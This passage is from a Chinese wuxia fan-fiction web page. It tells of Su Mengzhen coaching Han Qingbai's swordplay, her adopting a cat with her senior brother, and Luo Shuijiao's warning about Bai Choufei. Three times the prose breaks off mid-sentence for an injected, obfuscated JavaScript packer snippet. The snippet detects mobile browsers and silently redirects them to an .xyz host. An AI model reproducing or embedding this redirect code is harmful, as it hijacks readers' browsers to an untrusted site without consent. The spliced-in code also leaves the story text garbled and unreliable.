俗话说,只有起错的名字,没有叫错的外号,别人唤他童叟无欺,自是相信杨无邪的能力和诚信。他办事也确实很利落,没过几天,寒轻白在华玉轩打工的时候便接到传话。 苏梦枕愿意见她一面。 约定的见面地点不在金风细雨楼里,杨无邪为他们选了一处偏僻的地方。寒轻白过去的时候,他们二人已经到了。 杨无邪一身文人打扮,他站在一个人的身侧后方。那个人就是苏梦枕。 他比寒轻白前些日子在雨中见时要更清瘦,更苍白,更阴郁。但眼中的寒火仍然亮得吓人。他在咳,撕心裂肺地咳,咳得脸颊晕红,用手帕擦去咳出来的血。 “苏公子。”寒轻白朝他笑了笑。 “是你。”苏梦枕说。 “无邪说你想见我的刀。” “不错,都说梦枕红袖第一刀,我想见识你的刀法。” “可以,拔刀吧。” 红袖刀从他袖中抽出,水红色的一抹随着他的举动在空中滑过,像黄昏时天边迟迟不落的夕晖。 忽略杨无邪的欲言又止,寒轻白也抽出了自己的刀,脸上露出跃跃欲试的表情。 对于苏梦枕的刀,温火滚也替她打听到了不少传闻。 这位独步天下的苏公子有着强硬的手段和态度,顽强的意志和病痛缠身的躯体,以及一手美得似梦的刀法,大气非凡,美轮美奂,即使是刀影也清艳无比,只要见过的人恐怕都难以忘怀。 苏梦枕示意寒轻白先出招。寒轻白也不客气,手腕一翻,刀锋朝苏梦枕拦腰砍去,不出所料被红袖刀架住,苏梦枕手臂一摆,红袖刀从寒轻白刀的中间直接滑到刀尖处,并不直接与寒轻白对上,而是避其锋芒,袖刀一挑,躲开这一击。 一寸长,一寸强,一寸短,一寸险。兵法中出现这句话不是没有缘由的,苏梦枕的袖刀短,更为变化多端,擅长攻其不备,红袖刀的刀意轻怜,每一刀都美得像一场梦的余烬,像夕阳西下的余晖,攻势密集如细雨,残酷且毫不留情。 寒轻白的刀身更长,一击扫过往往蕴藉着强劲的力道,如果红袖刀与其硬碰硬的话反而会落入下乘,但苏梦枕战斗经验丰富,显然不会落入那般揭自己短处的境地。对于红袖刀的变幻莫测,寒轻白也有自己应对方法。她出刀迅猛,快而烈,有一种燃烧的火焰逼近时的灼热危险感。 但她并不是全靠力量来攻击,当苏梦枕以为这一击她会直接冲上来的时候,刀锋却蓦地一转,走势飘逸又轻灵,轻巧得如同拈花摘叶,飘忽如远观庐山之雾,但却比寻常时要更加棘手。 苏梦枕咦了一声,反手送出红袖刀,腾起艳丽的刀光,柔顺又婉约,刀锋正正好抵在寒轻白的咽喉。此时寒轻白的刀距离苏梦枕却还有一寸的距离。 苏梦枕先一步收刀入袖,全然不去在意寒轻白的刀何在。 “你的天赋很好,但不成体统,本该刺戳的地方用得却是砍劈,使刀时的刺和戳跟用剑时是不一样的,是不是没有人教过你用刀?” 寒轻白收刀入鞘。她已然见识了血河红袖不应挽留中的奇刀红袖,见识了苏梦枕的实力。他的刀近乎于道,婉约清艳,美得不可思议。 寒轻白没有回答他的问题,而是说道:“如果在你出第三刀的时候我再快一点,可以打断你的那一刀。因为你的腿跟不上。” “不错。”苏梦枕说。 “出刀,让我看看你如何刺。” 寒轻白抽刀,一刀刺出。 苏梦枕就站在她的刀旁,看着刀锋擦过他的衣袖,开口道:“不要斜刺,直接刺出来。” “刀锋要再柔一点,之前有几招就很好,有拈花之轻巧,不过跟前后的招数衔接不到位,反而露出了破绽。” 寒轻白若有所思。 “十日后你来金风细雨楼找我。” 苏梦枕说完,转身离开。杨无邪见状,跟寒轻白简短告别后跟上他。苏梦枕走得很慢,但并未一瘸一拐,与正常人似乎并无差别。他已经换上了无情制造的假腿,不过还需要一段适应的时间。 回到象牙塔后,杨无邪问道:“公子……你要指点寒姑娘的刀法吗?” “有何不可。” 杨无邪其实当时传话给苏梦枕的时候,仍有几分犹豫。他不确定这种时机想要见苏梦枕的人究竟有没有可能是其他势力派来暗算苏梦枕的。他本想再布置点人,但苏梦枕拒绝了。 他说,既然人家救了你,我们便欠了人家的,对方想见我,我去就是了。兵来将挡,水来土掩,没什么好犹豫的。 于是他们去了。幸运的是,寒轻白并无他意,只想与苏梦枕比一场,年轻的刀客跃跃欲试,想要挑战成名已久的红袖刀。 对于挑战,苏梦枕向来欣然接受。 “她的天赋很好,基础也打得很牢固,只是没有人指点她用刀的技巧,叫她的刀使得像个半吊子,刀不是刀,剑不是剑的。既然她有心讨教,又于你有恩,我指点一番也无妨。” “若是敌人,我也不惧。届时一分高下便是。” “何况从她的刀来看,寒姑娘应当也是行事磊落之人,即使为敌,也不屑于偷袭暗算的。” 苏梦枕话已至此,杨无邪劝无可劝,只得老生常谈,叫他注意身体,听树大夫的医嘱多加休息。 “休息?休息不了。” 苏梦枕沉默一会,恹恹地道:“老二的事,你怎么看?” 若说寒轻白讨教一事还能叫杨无邪用轻松些的口吻说的话,一旦提及白愁飞,便全然是严肃神情。 “谋权篡位,尚在其次。白副楼主似有意依附蔡京,如果连金风细雨楼也归顺蔡京的话,只怕京城中没有能与之相抗衡的武林势力了。” “也不尽然,不还有诸葛神侯和发梦二党吗?” 杨无邪摇了摇头,对此话并不赞同。 “唇亡齿寒,若继六分半堂之后,金风细雨楼也投了蔡京,发梦二党不过市井江湖,如何抵抗得了朝廷命官发号施令。诸葛神侯就算有心阻拦,只怕也无能为力。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057111|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我可有亏待他?” “不曾。公子待他已是优待厚待。” 莫北神受雷损收买,背叛苏梦枕,正是因为无法忍受自己多年功绩却比不过苏梦枕迅速提拔白愁飞、王小石二人。他觉得与其落入白愁飞麾下,听他驱使,不如早点叛了好。 苏梦枕沉默半晌,开口道:“你看着办吧,尽量减少楼子里兄弟们不必要的伤亡。小石头那里,随他吧。他本就不喜权势斗争,别把他牵扯进来。” 苏梦枕如何孤高自许,如何心怀大事,又是如何看待他与白愁飞王小石的那段友情,这些都与寒轻白无关,寒轻白只关心苏梦枕如何指点她练刀。 苏梦枕学艺自小寒山派红袖神尼,神尼使刀,并将自己的红袖刀传给了自己的这位大弟子。红袖刀法在苏梦枕手中更显凄艳,被他发扬光大,成就了他梦枕红袖第一刀的偌大名声。 他是刀法大家,纠正寒轻白在使刀时的一些错误自是轻而易举。他人虽然说一不二,在金风细雨楼甚至整个京城都知晓苏梦枕下的决定说出的话绝不会收回,但在刀术上多是提点和实战,并不多言,只叫寒轻白自己去领悟感受,吸取改进。 这令寒轻白受益匪浅。 不过跟第一次点到为止不同,苏梦枕打人是真的很痛,也很严厉,跟温辣霞相比不逞多让,甚至略胜一筹。 于是每回她去金风细雨楼挨一顿打,然后结束的时候苏梦枕再告诉她下次可以来挨打的时间和地点。苏梦枕忙的时候就去金风细雨楼,他方便的时候就去外面。 温火滚即使一开始不知情,在见过一两回寒轻白回来后有点蔫又感觉有不少领悟的模样,他也大概知晓寒轻白身上发生了什么事。这模样他太熟悉了,他自己年少时就常常被温辣霞打,打完还得冥思苦想怎么精进剑术。 “你去找谁指点武功去了,小寒?瞧你这段时间被打的。” “苏梦枕。” “谁?”温火滚下意识又问了一遍。 “苏梦枕,我不是说对他的红袖刀感兴趣吗,第一次我很快就输了,后面他不知道为什么他就开始指点我了。” “然后你就去了?” “那可是红袖刀!再说了,我也没找杨无邪。” “……你可真行。” 温火滚再度感受到了熟悉的头疼。 他想了想,开口道:“这事你别给别人说,去找苏梦枕的时候也隐蔽点,要让小吴和小孙知道了只怕又要说嘴。最好连小余也别讲。” “我知道,谁也不告诉,毕竟大家在太师手下讨生活,让别人知道了师兄会难做。” 温火滚听罢,只觉好气又好笑,“你还知道会叫我们难做啊。” “算了,既然已经学了,那就好好学,早点出师打败苏梦枕,省得叫你师兄我担惊受怕。” 寒轻白提出异议,“师兄,你这要求有点高了。拔苗助长是得不到好果实的……等等,师兄你拔剑干嘛?” “来,让我看看你最近学出来的成果如何。” 12.成绩与聘猫 温火滚生来脾气就大,一向是个火爆性子,可偏生遇上了寒轻白这么一个活力十足的师妹。 管了纯属给自己找气受,但是不管还不行,因为不管不多问她几句的话,说不准她又能整出什么幺蛾子来。 温火滚不是没打过,但是打完之后没过几天就又故态复萌。 就像他说了不知道多少次不要去都是苍耳的地方滚,结果每回还能扎着一身苍耳笑容灿烂地就跑回来。问起就是不是故意的,只是爬山的时候没有抓稳,掉到地上滚的时候不小心滚上了一身苍耳。 温火滚还能怎么办,只得憋着气把苍耳一一摘下。 这次估计也是如此。既然答应了他不去找杨无邪,寒轻白肯定守约,但要是偶遇到金风细雨楼的人,寒轻白也不会拒绝搭话。温火滚都能想象得出来寒轻白是怎么向苏梦枕提出要见他的刀的请求的。不然苏梦枕位高权重,日理万机,怎么可能特地指点她的刀法。 温火滚刺出一剑,携裹着炽热的气息,隐隐约约有火花擦出。 他用的剑法与其师父一样是拼命剑法,越有气性,越是发火,使出来的剑招越虎虎生威,老练火辣。 寒轻白深受二人影响,挥刀带有几分烈火一样的狠劲,于她的刀法更是如虎添翼。然而一交手,温火滚就察觉到了寒轻白如今与以往的不同。她的刀依旧迅猛,但不再那么不留退路和余地,而是多了一点绵里藏针的意味,出刀变招更为精妙流畅,平添几分灵隐飘忽之美。 温火滚一怔,剑也慢了半拍。 当年温辣霞特意选在庐山授艺,正是希望温火滚的剑法能有庐山灵隐飘忽之美,轻灵优雅。不过可惜温火滚越练反倒越拼命狠厉。后来寒轻白练刀,练着练着也朝这方面发展而来,没想到反而是到了京城后,在红袖刀的指点下,刀法中窥见几分飘逸灵秀。然而原先刀意中的一往直前也并未消融,反而更加圆润,更加难以寻找破绽。 明知不该多想,可若是能控制住自己的想法,世上就不会有专门的办法去放空思绪了。 温火滚忍不住去想,难道京城比庐山更适合习武练刀吗?如果是真的,为何他和其他兄弟们在京华的这些日子并无这般明显的进步?还是说红袖刀当真如此出类拔萃、独步天下,刀法远在他师父温辣霞之上? 他出剑本就无杀意,只是寻常切磋,杀伤力不高,现在想法一多,出招就更是慢了。 起初见温火滚火气十足,寒轻白便以守为主,没有主动出击。这里又不是山上,烧了就烧了,打了就打了,京城的东西一个两个贵得叫人直皱眉头。 她见温火滚的剑慢了,用刀挡住后探头小心翼翼地问道:“还打吗?” “不打了,再打下去,要是打坏了还不是要我出钱重新买。”温火滚收剑,坐了回去。 “我也可以出钱。”寒轻白也收刀,坐到他旁边。 温火滚抬手敲了下她的脑袋。 “你自己拿去花着玩吧,我还不至于要你的钱。” “对了,明天去找苏梦枕吗?” 寒轻白捂着被敲的地方摇摇头,“不去,约的是六日后。” “那行,刚好明天是黄道吉日,我们去聘狸奴,就照着你说的那个样子找的,是只什么乌云踏雪。” 温火滚脾气火爆,性子也急,说打就打,他不太会说软话,但一旦他岔开话题,就说明他已经消气,不会再发火了。这是寒轻白与他相处中总结出来的规律。 听了他的话,寒轻白眼前一亮。 “真的吗,我们要有猫了!” “那还能有假?不过猫带回来之后可别就扔给我一个人养,你自己不知道跑到哪里去耍了。” 寒轻白信誓旦旦道:“肯定不会的,我们一起养!” 翌日,他们与店家签了纳猫契,拎着布袋装的桶回来,拜过灶神后把筷子插在土堆上,猫就算正式成为聘成了。 这只戴白手套的黑猫警长个头不大,性格还挺活泼的,寒轻白一直想摸它的皮毛,它东躲西闪,身段柔软,寒轻白每每伸手只能蹭到一点柔软毛发的末端。 “给它起个名字吧,小寒。” 温火滚看寒轻白跟着猫到处跑,脸上挂着笑,扬声道。 “就叫咪咪吧!” “就不能起一个好听一点的名字?怎么说也是我们家的一份子了,按照你的名字来取,叫它寒酥如何?” “不如何,就要叫咪咪。它的名字就是咪咪。” “咪咪有什么好的,出去之后随便叫一声不知道有多少猫都叫咪咪。”温火滚不是很满意。 “那为什么要按我的名字来取,按你的不行吗,你叫温扫眉,那它就叫扫地。” “我看你不想扫地,你就是想成心气我。” 这时门被敲响了,寒轻白还在那里跟猫玩闹,没有去开门的意思,温火滚便去开门,见了人,一语不发,他侧身让开,叫那人进来。 “小师兄!”寒轻白看见来人的模样,很高兴地打招呼。 “你们聘了只猫。”罗睡觉说。 猫再灵巧也还只是小猫,不会轻功,也没有内力,轻而易举地被寒轻白用两只手举起,朝罗睡觉的方向露出柔软的腹部。 “是的,小师兄你看,这是咪咪!” “咪咪,挺可爱的。” 听到罗睡觉的话,寒轻白连连点头,像是受到了肯定,瞧着更高兴了,她笑着说道:“对吧,黑猫警长就是要叫咪咪啊!” 罗睡觉不解,看向温火滚,温火滚解释道:“我们在给这只猫起名,她说要叫咪咪,我觉得叫寒酥好听一点。” 凭心而论,寒酥确实要比咪咪雅致几分,而且跟寒轻白的名字轻白一样有雪的意思。但既然寒轻白喜欢,那一只猫的名字也没有必要纠结,罗睡觉短暂思考后,选择投了咪咪一票。 二比一,咪咪胜。温火滚无话可说。 “好吧,咪咪就咪咪,那就叫咪咪。小寒,你不要抓着它的尾巴,它会不舒服的。老幺,你来找我们什么事?” 罗睡觉看着寒轻白,话却是对温火滚说的。 “我带了点东西给寒,还有些事情要跟你说。” “那你去给她吧。” 寒轻白放下怀里胡乱扑腾的猫,猫嗖得一下就藏到了阴影处,只有白爪子还很显眼。她接过罗睡觉递过来的东西,摇了摇,又晃了晃。 “这是什么,怎么玩的?” “不知道,说是叫玲珑球。看着挺好看的,我就带来了。” 寒轻白道谢后,罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061811|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡觉说起了他来的另一个目的。 “我听闻太师有意抬举白愁飞。” 温火滚啧了一声,说道:“这都是老生常谈了,你出京办事的时候都已经有这样的传闻,白愁飞当上了太师眼前的红人。” “我知道。不过瞧着这传闻也不尽然属实,不然为什么我都办完事回来了,他白愁飞还没能掌管金风细雨楼的大权,倒让雷纯占尽了优势。” 罗睡觉这慢条斯理的口吻听上去并非单纯提起此事,寒轻白开口道:“你说雷纯?我知道她,她现在是六分半堂的总堂主。” 罗睡觉点头,继续说道:“金风细雨楼仍有苏梦枕坐镇大局,哪怕所有人都说他病得快要死了,只要他还活着,金风细雨楼就不会明面上替太师做事。如果白愁飞想要胜过她一筹,只怕要等苏梦枕死才行。” “而六分半堂有太师做靠山,雷纯的秉性模样也很得太师喜爱,有意收她为义女,太师已经下令,如果雷纯有需要,可以调动七绝神剑。我就是来告知你这件事的。” 温火滚皱眉,问道:“包括你?” “包括我。” 虽然温火滚不忿于罗睡觉总是高傲自负,说是同为七绝神剑,但也不怎么理睬他们。可论起剑法、名气、威望还有在蔡京眼中的地位,罗睡觉都是七绝神剑之首。 “既然太师有吩咐,咱们听就是了。你特意来一趟,是还有什么事吗?找小寒?” 罗睡觉一向无事不登三宝殿,与其他六人很少闲聊,他特意来一趟,却只是说这么一件完全可以找人带话的事情,明显就是醉翁之意不在酒。 “对,要不要跟我一起出去玩?” “去哪?”寒轻白问。 “要不去勾栏看表演?我记得有说话本的,还有吞刀吐火表演杂技的。” 温火滚呵了一声,“你说晚了,小寒已经把瓦子巷都混熟了。现在带你去看表演说不定还能便宜几钱,小梁去找孙三四都要排在小寒后面。” 寒轻白点点头,说道:“带小师兄去没问题,不过我记得小师兄对这些兴趣一般吧,之前都是陪我去逛而已。” “这样啊,那我确实想不出什么你会感兴趣的地方了,今天你想去哪里?我陪你去吧。” “我没有出门的打算,咪咪今天刚来家里,我想陪它玩一会。” 寒轻白看向躲在阴影里的猫。它敏锐得很,见寒轻白盯着它,又往远处跑了几步。 “刚都跟你说了别拽它尾巴,你看它现在不理你了。” “现在只是它怕生,等它熟悉了肯定会就理我了!” 罗睡觉不吭声,没有参与进这对师兄妹的斗嘴。他朝黑猫的方向走了几步,猫像是被什么刺激了一般,炸毛了一样直接奔到寒轻白身旁,缩在她的脚边。 幸福来得太突然,寒轻白一边从头到尾安抚着黑猫,一边诧异地看向罗睡觉,问道:“小师兄,你刚才做了什么吗?” 罗睡觉慢吞吞地说道:“没有,我只是往咪咪那边走了两步。” “难道是它对剑气太敏感了吗?”寒轻白感到迷惑。咪咪之前一路上都是温火滚拎回来的,也没见它这么激动。 “也许是因为我一直都不太讨动物喜欢。” “那太可惜了。” 13.梦中出剑 有罗睡觉在一旁,黑猫警长无论如何被寒轻白揉捏都不会往那边靠一步,寒轻白非常愉快,玩猫玩得不亦乐乎。 虽然被寒轻白说很可惜,不过罗睡觉本人并不觉得遗憾。是否受动物喜欢,对他来说并无多大意义。 他坐在一旁,闭着眼睛,像是在小憩。几缕长发落在额前,垂下来,带着一点弧度,在鼻尖前微微晃悠。 罗睡觉年纪很轻,眉眼间还残留几分稚气,姣好的面容上露出的神情看上去总是很忧郁,还带着点可怜。他确实也是七绝神剑中年纪最小的,是寒轻白的小师兄。 然而这样一个并不高大,身形细秀的少年实际上却是能够得到蔡京重视礼待,能够独当一面、独战八方的能人,他是一个聪明人,也是一个杀人的专家。 短短时间里,蔡京对他的信宠几乎逼近天下第七。若说白愁飞是太师眼前的红人,他罗睡觉也不差。 天下第七替蔡京铲除异己,从江南到江北,留下无数渗出浓郁血腥的怪谈异事。如果现在有走近科学这个节目的话,绝对可以给天下第七出一个专栏。 咽喉处的致命伤口让他命丧黄泉,身上还有大大小小数十处伤口,尸体支离破碎,真凶到底是谁?是什么凶器造成了如此可怕的伤口?是什么令案件迟迟悬而未绝?迷案真相究竟能否水落石出?敬请收看走近科学系列节目有案可查之天下第七系列迷案。 把天下第七曾经做过的那些事放进走近科学的开场经典台词里一点也不违和,不过事实的真相就不如走近科学那样可以用科学道理来解释了。王小石曾在黄鹤楼附近见到的、枉死在巷子里的数十公差便是他所做的好事之一。 受蔡京信宠的天下第七如此,与天下第七几乎齐名并称的罗睡觉又能是什么好东西,能有什么好名声? 这性格风格都奇特强烈的剑手来到蔡府之前在江湖上名声就不怎么好。他曾经因为一个门派的掌门人啐了他这一句你这人真麻烦,罗睡觉就一口气杀了这人和他同门五名师弟、两名师妹以及座下八名弟子。 罗睡觉用脚发剑力道要比用手出剑大得多,出招角度也更为奇特。这样罕见的出招架势再加上他十足的耐心,造就了罗睡觉擅伏袭的特质。他耐得住寂寞,抓得准时机,奉蔡京之名偷袭暗算了不少江湖上的英雄好汉,一一将他们杀死,然后向蔡京邀功,得到蔡京的赏赐和信重,在京城中也逐渐有了名气。 温火滚虽是七绝神剑中仅次于罗睡觉的剑手,可无论是剑法还是名声都远远比不过罗睡觉。 在蔡京那里也一样,七绝神剑中只有罗睡觉出类拔萃,独得重视。 对此,蔡京公开表示过,谁有用,他就提拔谁,只要有用,无论对方要什么,他都会令其满意。没用的,即使死了也与他无关。关心没用的人和事对于他而言就是浪费自己有用且有限的生命。 罗睡觉有用,那么其他相较于罗睡觉而言作用不大的六人便只能奉蔡京之命护院,与之相对应的,罗睡觉却能当上蔡京的贴身拱卫,甚至有传言蔡京欲为他独建一处别苑。虽然不知道传言是否属实,但罗睡觉受宠程度也可见一斑。 “雷纯向太师告了一状。” 罗睡觉忽得开口。他眼睛仍是闭着的。 “她告了一状,跟我们有什么关系?” 与自己不相干的事情,温火滚一点也不感兴趣。 “在雷纯不是六分半堂的总堂主,还是六分半堂的大小姐时,她曾在巷子里被人玷污,当时看不清人脸,也不知究竟是谁。现如今有了些猜测,她觉得那人是白愁飞。” “你怎么知道?” “她告状那日,我在场。” 罗睡觉睁开了眼,一双黑而亮,亮而利的眸子盯上寒轻白。 视线落在她身上,寒轻白注意力移向他,同时手中动作一顿,趁这个空隙,黑猫警长喵了一声便从她手里滑出,奔去了别处。她望向罗睡觉,跟他对上视线。 温火滚冷声道:“罗老幺,你什么意思?” “没什么意思,不过听闻金风细雨楼内部动荡不平,似有权力争夺之乱。它又是京城大帮,影响深远。所以我多说一句,叫寒小心些,免得着了别人的道。” 那双乌黑透亮的眼睛避开了寒轻白的注视,看向温火滚。 “其他人不知道此事便罢了,我不信你温扫眉不清楚她的去向。” 罗睡觉慢条斯理地说道:“孙菩提和吴鹰君都说过几次,也不是没有道理。你和余默然都太……” 寒轻白打断他的话语,说道:“小师兄现在说起这话来,是在指责我吗?” 罗睡觉被截断了话,也没有继续要将其说完的意思,只顿了顿,放柔语气回答寒轻白的问话。 “我不是这个意思,只是担心你,金风细雨楼并非好玩的地方,说是龙潭虎穴也未尝不可。我猜你可能在金风细雨楼有了认识的朋友,可知人知面不知心,谁知道对方是苏梦枕的手下还是白愁飞的拥趸。苏梦枕本就是敌人,姑且不提,白愁飞虽与我们同属太师麾下,可其人品低劣,道德败坏,需要小心才是。” 温火滚依旧冷着脸,心里却悄悄松了口气。 好在罗睡觉只是知道寒轻白去了金风细雨楼,并不清楚她去哪里是找谁的。毕竟跟认识的金风细雨楼的人玩和跟苏梦枕学刀是彻彻底底的两回事。不过看来还是要叫寒轻白日后小心点,金风细雨楼里估计有太师的手下,不然罗睡觉没其他渠道可以打听到京城中大帮派的消息。 不过他特意来强调白愁飞有多表里不一多危险这件事情,温火滚也不是不能理解。 就像来了京城后他们发现原来京华有那么多美人,那么多可享受的事情,看得人眼花缭乱、目不暇接,衬得原来在山中长大的他们像个刚入城的土包子,没见过世面的傻子。 寒轻白来到京城后,自然也会认识很多人,会有跟她玩得来的、性格很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065339|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好更宽和的人,也会有更有趣、更出类拔萃的人。 罗睡觉练梦中剑,练成了绝世的剑法,他还如此年轻,自有一番傲气。他为七绝神剑之首,如有大事,七绝神剑听他裁决。何况他在蔡京面前得了脸,如今是得太师宠信的红人。 然而若以寻常眼光评估他的话,有一点他是大大不如白愁飞的。 一来他的右手是废的,废得很彻底,即使如今用刀去割也只会外翻露出灰灰沉沉的筋肉,半点血也不会流出。当年他正是由于手是废的,所以才练了用脚发剑;二来白愁飞容貌漂亮,肤色白皙,玉树临风,颀长挺拔,笑起来还有几分俏,远比罗睡觉要更符合世人惯常审美。 要说罗睡觉是顾虑这些,温火滚相信,但要说他担心寒轻白在金风细雨楼遭遇什么不测,那纯属是睁着眼睛说瞎话。 寒轻白的轻功虽然比不上罗睡觉,可她的刀法早些年便与何难过处于伯仲之间,而何难过常年居于七绝神剑第三位。如今她得了红袖刀指点,更不同往日,说不定能直逼温火滚罗睡觉,再成长下去,超越他们也不是问题。 所以只要不对上红袖刀,寒轻白即使与金风细雨楼交恶,单从白愁飞的惊神指下全须全尾地逃跑还是绰绰有余。 如果白愁飞的手下一个两个都能比得上何难过,越得过寒轻白,那他们七绝神剑也不必受师父吩咐下山来准备大展身手,蔡京也不必特意寄信给七绝剑神请他们出山亦或派徒弟前来了,索性直接由白愁飞一统天下便罢。 寒轻白的语气冷了下来,她不笑沉下脸的时候神情看上去确实与她的名字有几分相符,她盯着罗睡觉说道:“你担心我,那也不可以把别人私下里的事情拿出来说。雷纯跟太师告状,那是他们二人之间的事情。” “而且你觉得我做的不对,为什么不直接跟我说。何必在这里指桑骂槐,含沙射影。何况我去金风细雨楼与否,同师兄和余师兄又有什么干系,腿长在我身上,我想去哪里就去哪里。” 说完这一大通话,寒轻白猛地起身,就往门外走去。 “不吃饭了?”温火滚在她身后问她。 “不吃了!气也气饱了!” 温火滚啧了一声,视线转回到罗睡觉身上,“你说这些做甚,今天聘了猫回来,小寒正开心着,非要说这些惹她生气。” 罗睡觉起身,也准备离开。既然寒轻白不在,温火滚也没什么必要留他的饭。他慢悠悠地说道:“那也比日后上当受骗要强,白愁飞如今名声可比你我要好。” “不过我刚才说的你最好考虑一下,京城不比庐山,处处波诡云谲,一不小心便会牵一发而动全身,还是要叫她多注意几分。” “她自己省得轻重。”温火滚不耐烦道。 他说这话说的时候有些心虚,觉得这话烫嘴,不过在罗睡觉面前,温火滚不准备露怯。 罗睡觉只扯了扯嘴角,笑了一下算是对温火滚这话的回应。 14.各种传闻 【小师兄这个人很复杂。你知道他很聪明,对你也很好,但他并非是一个多容易相处的人。 你没见过他杀人,只见过他比试的时候出招,像一只黑辣椒一样,辣椒尖一落在别人要害处,战斗就结束了。因为他的速度很快,出剑角度也很奇特,天下武功唯快不破,只要其他人挡不住他的“剑”,比试中赢的人就是他,若是生死之斗,活下来的便也是他。 不过其他人见过,练快剑的梁师兄告诉你,小师兄杀人比他要更为干净利落,往往一招取人性命。而且跟伤人心的梁师兄不同,小师兄杀人并不局限于割喉或是刺穿内脏,他一向怎么方便怎么来。何师兄也讲过一两次,他说小师兄杀人方法很精妙,也很省力,一点多余的力气也不愿花,一击不成立即抽身离开,等待下一次机会。 何师兄和梁师兄跟你关系还行,他们跟师兄的关系也很好。师兄偶然间还跟你提过,他们两个都在酒后向他倾诉过这些年来的不容易,就像师兄玩火是为了缓解压力一样,他们二人也有自己的方式,不过具体是什么师兄就没告诉过你了。 你也没有问过,毕竟这属于他们的私事,他们愿意告诉谁是他们自己的事情。 对于小师兄,师兄很少提及,何师兄和梁师兄实际上也很少说起他,并不是避讳什么,而是因为他们真的不怎么熟悉。如果不是主动交流的话,就只有每年比剑时见一次面。 小师兄在梦中练剑,为了节省精力,一般说话时也是闭着眼的,由小见大,他平日里也不爱多掺和一些耗费精力的活动,自然也不会与他们多熟稔,师兄说你和小师兄的关系已经算亲近的了。 他是一个很有自己想法和打算的人。 就像这次,他说的话让你很不舒服。如果他要告诉你白愁飞是一个坏人,需要你远离他,可以有很多说法。他也可以不说任何理由,因为你是会相信他的。他没有必要特意用雷纯的经历来举例,那毕竟是雷纯的私事。 但小师兄的目的确实达到了。他的话非常极端且快速有效地让你对白愁飞产生了更深的恶感。 忘恩负义谋权篡位还能往窃钩者诛窃国者侯上靠一靠,对女子使下作手段那就只能说是为满足一己私欲,禽兽不如的畜牲了。 然而先前你一路走来,直至上黄岩山随七绝神剑进京之前,遇见的、看到的畜牲不知凡凡。 他们人模狗样,衣冠禽兽,一张张人皮下面撕开后是肮脏龌龊的内里,可偏生他们有的仍旧有一个好名声,没有名声的也有权有势,将脏事团吧团吧藏在阴影里,发现的人不敢出声,出声的人被扼制住了咽喉,死的死,残的残,你只能帮一时,让这些可怜的人逃离龙潭虎穴,却帮不了一世,不知道他们还会不会落入其他狼窝。 相比之下,曾经捐给灾民好大一笔银子,顶着一个杀手名号,在世家大族看来无异是自轻自贱的路家大少爷路小佳无疑是出淤泥而不染,完全可以担得起你对他好心人的第一印象。 考虑到你师兄们也是做这档营生的,你曾问过杨无邪如今的杀手行业情况,不择手段完成业绩的人有很多,诸如唐斩王寇和你的师兄们,只求杀人和报酬,不讲究其他东西已然成为这个古老行业的常态,所以快剑杀手路小佳则在其中显得格格不入。 他杀人,他收钱,可他不喜欢别人动他的花生,也不喜欢被人利用,被人当做工具。 即使是在杨无邪的资料库里,像他这样的杀手也是少见的。杨无邪说,比起杀手,他更像是一个剑客。一个不多见、也不好惹的剑客。】 寒轻白疾步从宅子里走出,汇入街上来往的人流中,随便朝着一个方向走去。她本意是散散心,消消气,转个几圈心情好了再回去,反正等她回去的时候罗睡觉也应该已经走了。反正寒轻白想象不出来罗睡觉和温火滚面面相觑干坐着的场景。 她运气一向很好,看中的小物件如果是用扑卖的方式来卖货,抛硬币猜正反,寒轻白总能猜对后以低价甚至免费得到商品。就这么走了大半条街,寒轻白装了不少小玩意。 走到瓦子巷处,她顺道去看了孙三四,孙三四笑眯眯地接待了她,还展示了她如今习武的进度,寒轻白又指点了她几处,随后她们将寒轻白一路上买到的小物件一一分类,得趣的便多聊几句。孙三四对权贵中讨人喜欢的手段熟稔于心,江湖人士也逃不开花卉珠宝,像这样与寒轻白一个一个研究街上廉价的、有几分野趣的玩意倒不多见。 心情轻松之下,她口中流出几句散漫的话语。 “你可还记得无欺先生上回来的那事?” “记得,怎么了?” “我后来找人打听了一下,死在这里的叫毛拉拉,是风雨楼一百零八公案的精锐,说是金风细雨楼的人,不过听令于白愁飞,不卖无欺先生的面子。” 寒轻白不解,但仍专心听着。孙三四笑了,笑意有些慵懒,还掺着几分烟一样的倦意。 “风雨楼的人叫无欺先生拘着,不平白欺侮我们这些风月女子,不过那白愁飞可不一样,他是副楼主,一人之下万人之上,无欺先生管不到他。” 